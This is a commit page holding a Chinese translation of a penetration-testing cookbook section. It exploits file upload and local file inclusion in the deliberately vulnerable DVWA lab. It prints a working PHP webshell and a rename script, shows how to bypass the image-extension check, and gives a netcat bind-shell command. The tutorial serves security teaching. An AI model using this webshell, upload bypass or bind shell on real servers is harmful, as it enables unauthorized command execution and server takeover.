提交 027a49f1 编写于 作者: W wizardforcel

6.1

上级 1cd04f68
# 第六章 利用 -- 低悬的果实
> 作者:Gilberto Najera-Gutierrez
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
## 简介
这章开始我们会开始涉及渗透测试的的利用层面。和漏洞评估的主要不同是,漏洞评估是测试者识别漏洞(多数时间使用自动化扫描器)和提出建议,关于如何减轻它们。而渗透测试是测试者作为而已攻击者并尝试利用检测到的漏洞,并得到最后的结果:整个系统的沦陷,访问内部网络,敏感数据泄露,以及其它。同时,要当心不要影响系统的可用性或者为真正的攻击者留下后门。
之前的章节中,我们已经涉及了如何检测 Web 应用中的一些漏洞。这一章中我们打算了解如何利用这些漏洞并使用它们来提取信息和获得应用及系统受限部分的访问权。
## 6.1 不当使用文件包含和上传
我们在第四章中看到,文件包含漏洞在开发者对生成文件路径的输入校验不当,并使用该路径来包含源代码文件时出现。服务端语言的现代版本,例如 PHP 自 5.2.0 起,将一些特性默认关闭,例如远程文件包含,所以 2011 年期就不大可能找到 RFI 了。
这个秘籍中,我们会上传一些而已文件,其中之一是 Webshell(可用于在服务器中执行命令的页面),之后使用本地文件包含来执行它。
### 准备
这个秘籍中,我们会使用 vulnerable_vm 中的 DVWA ,并以中等安全级别配置,所以让我们将其配置起来。
1. 访问` http://192.168.56.102/dvwa`
2. 登录。
3. 将安全级别设置为中。访问`DVWA Security`,在组合框中选择`medium`并点击`Submit`
我们会上传一些文件给服务器,但是你需要记住它们储存在哪里,以便之后调用。所以,在 DVWA 中访问`Upload`并上传任何 JPG 图像。如果成功了,他会告诉你文件上传到了`../../hackable/uploads/`。现在我们知道了用于储存上传文件的相对路径。这对于秘籍就足够了。
我们也需要准备好我们的文件,所以让我们创建带有一下内容的文本文件:
```php
<?
system($_GET['cmd']);
echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>';
?>
```
将其保存为`webshell.php`。我们需要另一个文件,创建`rename.php`并输入下列代码:
```php
<?
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php');
?>
```
这个文件会接受特殊图像文件(`webshell.jpg`)并将其重命名为`webshell.php`
### 操作步骤
1. 首先,让我们尝试上传我们的 webshell。在 DVWA 中访问`Upload`之后尝试上传`webshell.php`,像这样:
![](img/6-1-1.jpg)
于是,这里对于我们能够上传的东西有个验证。这意味着我们需要上传图标文件,或更精确来说,带有`.jpg`,`.gif`或`.png`的图像文件。这就是为什么我们需要重命名脚本来还原原始文件的`.php`扩展,便于我们执行它。
2. 为了避免验证错误,我们需要将我们的 PHP 文件重命名为有效的扩展名。在终端中,我们需要访问 PHP 文件所在目录并创建它们的副本:
```
cp rename.php rename.jpg
cp webshell.php webshell.jpg
```
3. 现在,让我们返回 DVWA 并尝试上传二者:
![](img/6-1-2.jpg)
4. 一旦两个 JPG 文件都上传了,我们使用本地文件包含漏洞过来执行`rename.jpg`。访问文件包含部分并利用这个漏洞来包含`../../hackable/uploads/rename.jpg`
![](img/6-1-3.jpg)
我们并没有得到这个文件执行的任何输出,我们需要假设`webshell.jpg `命名为`webshell.php`。
5. 如果它能工作,我们应该能够包含`../../hackable/uploads/ webshell.php`,让我们试试:
![](img/6-1-4.jpg)
6. 在左上角的文本框中,输入`/sbin/ifconfig`并按下回车:
![](img/6-1-5.jpg)
并且它能够工作。就像图片中那样,服务器的 IP 是`192.168.56.102`。现在,我们可以在服务器中执行命令,通过将它们键入到文本框中,或者为`cmd`参数设置不同的值。
### 工作原理
在上传有效 JPG 文件时,我们所做的第一个测试是为了发现上传文件保存的路径。所以我们可以使用在`rename.php`中,以及表单的`action`中使用这个路径。
使用重命名脚本有两个重要原因:首先,上蔟韩页面只允许 JPG 文件,所以我们的脚本需要这个扩展名,其次,我们需要带参数调用我们的 webshell(要执行的命令),我们从 Web 服务器调用图片时不能带参数。
PHP 中的`system()`函数是攻击核心,它所做的是,执行系统命令并显式输出。这允许我们将 webshell 文件从`.jpg`重命名为`.php`文件并执行我们指定为 GET 参数的命令。
### 更多
一旦我们上传并执行了服务端代码,我们有很多选择来攻陷服务器,例如,下列代码可以在绑定的 shell 中调用:
```
nc -lp 12345 -e /bin/bash
```
它打开服务器的 TCP 12345 端口并监听链接。链接成功之后,它会执行`/bin/bash`并把接受输入,把输出通过网络发给被连接的主机(攻击者主机)。
也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册